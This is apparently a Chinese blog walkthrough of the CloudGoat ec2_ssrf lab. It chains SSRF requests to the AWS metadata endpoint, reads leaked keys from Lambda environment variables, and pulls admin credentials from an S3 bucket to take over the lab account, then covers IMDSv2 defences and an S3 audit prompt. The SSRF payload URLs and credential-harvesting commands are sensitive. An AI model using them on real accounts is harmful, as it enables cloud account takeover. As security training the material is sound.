AWS CloudGoat 实战:一个 SSRF 如何撬动整个云账户 EC2 · 元数据服务 · IAM 凭证 · Lambda · S3 全链路复盘标签云安全 / 渗透测试 / 红队实战如今的云环境很少因为“软件漏洞”被攻破更多是栽在配置错误上。其中最典型、也最致命的一类问题就是服务端请求伪造SSRF——尤其当云端的元数据服务恰好暴露给了一个可以被攻击者控制的应用时。本文以CloudGoat的ec2_ssrf场景为例完整走一遍这样一条攻击链攻击者利用一个存在 SSRF 的 EC2 应用去访问 AWS 实例元数据服务IMDS窃取临时 IAM 角色凭证再借助环境里散落的密钥不断横向移动与提权最终完全接管整个 AWS 账户。全程既讲清“怎么打”也讲透“为什么能打通”和“该如何防”。图 0本文将要复现的完整 SSRF 攻击链一、为什么 SSRF 云元数据是致命组合SSRF 的本质是应用替攻击者发起了它本不该发起的网络请求。当一个 Web 应用允许用户传入一个 URL 并由服务端去访问它却没有对目标做任何校验时攻击者就能把这个应用当成“跳板”去触碰那些原本只有服务器内部才能访问的地址。在 AWS 里最诱人的内部地址就是实例元数据服务IMDS它固定位于169.254.169.254。这是一个链路本地地址只能从实例内部访问。它保存着实例的配置信息——其中最关键的是与该 EC2 绑定的 IAM 角色的临时安全凭证Access Key、Secret Key 和 Session Token。⚠ 关键点一旦攻击者能通过 SSRF 读到 IMDS就等于直接“捡到”了这台机器的身份。此后所有操作都以这个 IAM 角色的权限进行——它有多大权限攻击者就有多大破坏力。二、CloudGoat 简介CloudGoat 是由 Rhino Security Labs 开发的一款开源、**“故意做得有漏洞”**的 AWS 安全训练工具。它用 Terraform 一键部署一套刻意存在配置缺陷的 AWS 资源让安全从业者能在合法、可控的环境里练习发现、利用和修复常见的云安全问题。所有漏洞都被设计成只有拥有该 AWS 账户访问权的人才能利用敏感资源会通过 IP whitelist 白名单限制到你自己的地址推荐带/32默认状态下可以安全地长期运行不必担心外部攻击者的威胁。三、场景概览先把这个实验的全貌摆出来项目说明实验平台CloudGoatRhino Security Labs 开源云服务商Amazon Web Services (AWS)攻击手法服务端请求伪造 Server-Side Request Forgery (SSRF)攻击目标部署在 EC2 上的存在漏洞的 Web 应用最终目标通过 EC2 元数据服务窃取 IAM 凭证进而完全接管环境这个应用是被刻意做成有漏洞的部署在一台绑定了 IAM 角色的 EC2 实例上。整套环境的资源关系和我们的攻击视角如下图图 1ec2_ssrf 场景的资源拓扑与攻击面四、实验环境搭建4.1 准备 AWS 账户与 IAM 用户首先需要一个 AWS 账户新手可以走一遍 AWS 的渗透测试实验环境搭建。然后在 IAM 中准备一个用于部署 CloudGoat 的用户登录 AWS 管理控制台进入 IAM左侧导航选择Users → Create user起一个便于识别的用户名如cloudgoat-user在权限页选择“加入用户组”新建一个组如administrator附加AdministratorAccess策略回到该用户的Security credentials标签页创建访问密钥用途选Command Line Interface (CLI)立即复制Access Key ID和Secret Access Key——离开页面后 Secret Key 不会再次显示。为什么给管理员权限这里的管理员权限是给“部署者”用的用于创建和销毁实验资源与我们后面要攻击的“靶机身份”完全无关。真实生产环境请遵循最小权限原则。4.2 在 Kali 上安装 Terraform以下步骤都在 Kali Linux 中进行。先切换到一个干净的工作目录下载 Terraformwgethttps://releases.hashicorp.com/terraform/1.5.0/terraform_1.5.0_linux_amd64.zip解压并安装到 PATHunzipterraform_1.5.0_linux_amd64.zipchmodx terraformsudomvterraform /usr/local/bin/ terraform--version关于版本看到“版本过旧”的提示可以直接忽略。CloudGoat 常用 v1.4.x / 1.5.x最新版并非必需盲目升级反而可能让实验跑不起来。生产项目才需要“最新稳定版 固定 provider 版本”。4.3 配置 AWS CLI 并安装 CloudGoat安装并确认 AWS CLIcurlhttps://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip-oawscliv2.zip aws--version用前面保存的密钥配置一个cloudgoat-user配置档aws configure--profilecloudgoat-user从 GitHub 克隆 CloudGoat创建虚拟环境并安装gitclone https://github.com/RhinoSecurityLabs/cloudgoat.gitcd~/cloudgoat python3-mvenv venvsourcevenv/bin/activate pipinstall-e.cloudgoat--help4.4 加白名单并启动场景先把自己的公网 IP 加入白名单输入时带上 CIDR/32表示只允许你这一个 IPcloudgoat config whitelist然后启动ec2_ssrf场景cloudgoat create ec2_ssrf--profilecloudgoat部署完成后terraform 会显示类似Apply complete! Resources: 27 added的输出你会拿到初始用户Solus的 Access Key 与 Secret Key。用它们配置一个solus档并验证身份aws configure--profilesolus aws sts get-caller-identity--profilesolus若返回的 ARN 形如...:user/solus-id说明我们已经成功进入靶场以低权限用户 Solus 的身份站在了起点。五、枚举与利用正片整条攻击链会经历四次“换身份”每一次都比上一次权限更高。下面这张阶梯图是本节的地图建议对照着看图 2凭证横移与权限提升的四级阶梯5.1 枚举 Lambda意外泄露的 EC2 凭证Lambda 是 AWS 的无服务器计算服务。一个常见的坏习惯是开发者把敏感信息塞进 Lambda 的环境变量里部署后又忘了清理。低权限账户往往就能读到这些变量从而实现提权。以 Solus 身份列出所有 Lambda 函数aws lambda list-functions--profilesolus在输出的Environment.Variables里可以清楚看到一组新的凭证——这次是一对属于EC2的密钥EC2_ACCESS_KEY_ID与EC2_SECRET_KEY_ID。用这对新凭证配置一个新档aws configure--profileec2-profile5.2 枚举 EC2找到暴露在公网的 Web 应用换成ec2-profile身份去发现环境里活跃的 EC2 实例、尤其是暴露在公网上的aws ec2 describe-instances--profileec2-profile重点关注输出里的NetworkInterfaces → Association → PublicIp。本例中会看到一个公网 IP如3.81.100.247对应一台跑着 Web 服务的实例。用浏览器访问它会看到一个自我介绍式的页面“我是一个应用给我一个 URL我帮你去请求它。”⚠ 危险信号“把你给的 URL 拿去请求”——这正是 SSRF 的教科书式特征。应用把用户可控的 URL 当作请求目标且没有任何校验。5.3 SSRF 读取 IMDS窃取 IAM 角色凭证这是整条链的核心。我们让这个应用替我们去访问只有实例内部才够得到的元数据端点。请求的时序如下图 3借助 SSRFWeb 应用成为访问 IMDS 的代理第一步先问 IMDS这台实例上绑定了哪个 IAM 角色http://3.81.100.247/?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/页面会回显出角色名例如cg-ec2-role-id。第二步把角色名拼到路径末尾去取该角色的临时凭证http://3.81.100.247/?urlhttp://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-id这次返回的是一份完整的临时凭证AccessKeyId、SecretAccessKey以及一个Token。用它们配置一个新档临时凭证需要额外填入 Session Token并验证aws configure--profileec2-role# 记得把 aws_session_token 也写进 ~/.aws/credentialsaws sts get-caller-identity--profileec2-role此时返回的 ARN 会是...:assumed-role/cg-ec2-role-id/...证明我们已经“成为”了这台 EC2 的角色。5.4 枚举 S3找到密钥桶带着通过 SSRF 拿到的ec2-role身份去枚举 S3aws s3ls--profileec2-role会看到一个名为cg-secret-s3-bucket-id的“密钥桶”。列出它的内容注意结果里的PRE aws/——说明桶非空且对象都在一个类似文件夹的前缀aws/下aws s3lss3://cg-secret-s3-bucket-id--profileec2-role遇到PRE something/就要往里钻。用递归列举较新版本的 CloudGoat 把密钥存为aws/credentialsaws s3lss3://cg-secret-s3-bucket-id--recursive--profileec2-role确认里面有敏感文件后直接把内容打到标准输出aws s3cps3://cg-secret-s3-bucket-id/aws/credentials ---profileec2-role文件里是一对[default]长期凭证。用它配置最后一个档admin-from-s3aws configure--profileadmin-from-s3这就是一个权限大得多的身份了。5.5 最终攻击调用敏感 Lambda回到最初的目标调用环境里那个敏感的 Lambda 函数。Solus 一开始只有对它的只读权限而现在我们已经握有管理员凭证可以真正执行它了。aws lambda list-functions--profileadmin-from-s3 aws lambda invoke --function-name cg-lambda-id--payload{}output.txt--profileadmin-from-s3返回StatusCode: 200即代表函数成功执行——至此ec2_ssrf 场景通关。你已经串起了 Lambda、访问密钥、EC2、SSRF 与 S3 这一整条链路。六、攻击路径复盘回头看这条链完美演示了云环境里一种极其常见的攻击范式——一个看似不起眼的 SSRF配合几处松散的 IAM 配置就足以滚雪球般发展成整个账户的沦陷SSRF → 元数据 → IAM 角色 → Lambda 密钥 → 凭证横移 → 权限提升值得注意的是每一环单独看都不算“高危 0day”真正的危险来自它们被串在一起——泄露的 Lambda 密钥、可被 SSRF 读取的元数据、放在 S3 里的长期管理员凭证任何一处堵住链条都会断裂。七、深入IMDSv1 与 IMDSv2这条链能打通根子在于实例用的是 IMDSv1。理解这两个版本的差异是理解防御的关键。图 4IMDSv1 与 IMDSv2 的核心区别IMDSv1 只需一次简单的GET请求就能拿到凭证而绝大多数 SSRF 恰好只能发出 GET因此一拍即合。IMDSv2 引入了“会话令牌”机制必须先用PUT请求换取一个短时效令牌之后每次请求都要带上这个令牌头。多数 SSRF 无法发送 PUT、也无法自定义请求头于是被挡在门外这就是为什么把IMDSv2 设为强制http-tokens required是最有效的单点缓解措施。八、防御建议要缓解这类基于 SSRF 的凭证窃取可以从以下几个层面同时着手强制启用 IMDSv2http-tokens required阻断无令牌的元数据访问在网络/应用层限制对元数据地址169.254.169.254的访问对应用发起的出站请求做校验与白名单从源头消除 SSRF为 IAM 角色施行最小权限原则即便凭证泄露也把影响面压到最小不要把长期凭证明文存放在 S3 等对象存储里改用短时角色与密钥管理服务。九、别忘了销毁环境⚠ 重要避免持续计费实验做完后一定要用基础设施即代码的方式彻底拆除环境否则会持续产生 AWS 费用。cloudgoat destroy ec2_ssrf--profilecloudgoat十、结语这个 CloudGoat 实验清晰地展示了一个简单的 SSRF一旦叠加上不安全的 IAM 实践就足以升级为整个云环境的完全沦陷。像这样动手打一遍能让你对真实世界里的 AWS 攻击路径有远比读文档更深刻的体感——也更能理解为什么云安全必须被当成“一等公民”来对待。如果这篇复盘对你有帮助欢迎点赞、收藏、转发给同样在啃云安全的朋友。附录用 Amazon Q Developer 巡检 S3 配置需要澄清一点S3 本身并不危险它只是一个存储服务。真正的风险来自**“怎么配置”和“往里放了什么”**。本文的实验里S3 没有任何“漏洞”——只是有人把明文管理员凭证放进了桶里而 IAM 权限又恰好允许一个低权限角色读到它。这两点都属于配置/使用上的失误。下面这些是最值得排查的 S3 常见错误配置公开访问桶或对象对整个互联网可读/可写公开 ACL、公开桶策略、关闭了 Block Public Access过度授权的策略出现Principal: *、通配符操作如s3:*或不该有的跨账户/角色读取权限桶内存放机密凭证、API 密钥、.env文件、私钥直接躺在桶里正是本实验的症结未加密默认加密未开启或对象未在静态时加密无日志 / 无版本控制访问日志与版本控制关闭事后更难发现和恢复传输不安全策略未通过aws:SecureTransport强制 HTTPS。可直接使用的巡检提示词把下面这段提示词交给 Amazon Q Developer它会以只读方式巡检账户里的所有 S3 桶并输出一张风险表格——不会改动任何资源。请你扮演一名 AWS 云安全审计员对我当前 AWS 账户中的所有 S3 存储桶执行一次【只读】安全巡检。除查询与描述外不要创建、修改或删除任何资源。 针对每个存储桶检查并报告以下项目 1. 公开暴露账户级与桶级的 Block Public Access 设置、桶 ACL以及允许匿名/公开访问的桶策略如 Principal 为 * 或 AllUsers / AuthenticatedUsers。 2. 过度授权使用通配符主体或通配符操作如 s3:*的桶策略或 IAM 语句以及跨账户访问授权。 3. 加密是否启用默认服务端加密以及密钥类型SSE-S3 或 SSE-KMS。 4. 传输安全桶策略是否通过 aws:SecureTransport 条件强制仅允许 HTTPS 访问。 5. 日志与版本控制是否启用了服务器访问日志和对象版本控制。 6. 敏感数据风险标记桶名或对象键中疑似存放密钥的命名如包含 credentials、.env、secret、key、backup、dump 等。注意仅根据名称/元数据标记不要下载或输出对象内容。 请以表格形式给出结果列包括桶名 | 是否公开 | 加密 | 是否强制 HTTPS | 日志 | 版本控制 | 风险标记 | 严重级别高/中/低。 表格之后给出按优先级排序的整改清单对每个高级别问题说明具体修复方式及对应的 AWS CLI 命令或控制台设置并遵循最小权限原则。将任何可公开访问或疑似存放凭证的存储桶标为【严重】。使用提示Q Developer 需要能访问你的账户上下文通过控制台/IDE 集成或已配置的凭证它可能会询问使用哪个 region 或 profile。如果桶很多请提醒它分页遍历而不是抽样。若只想检查单个桶把“所有 S3 存储桶”改成具体桶名即可。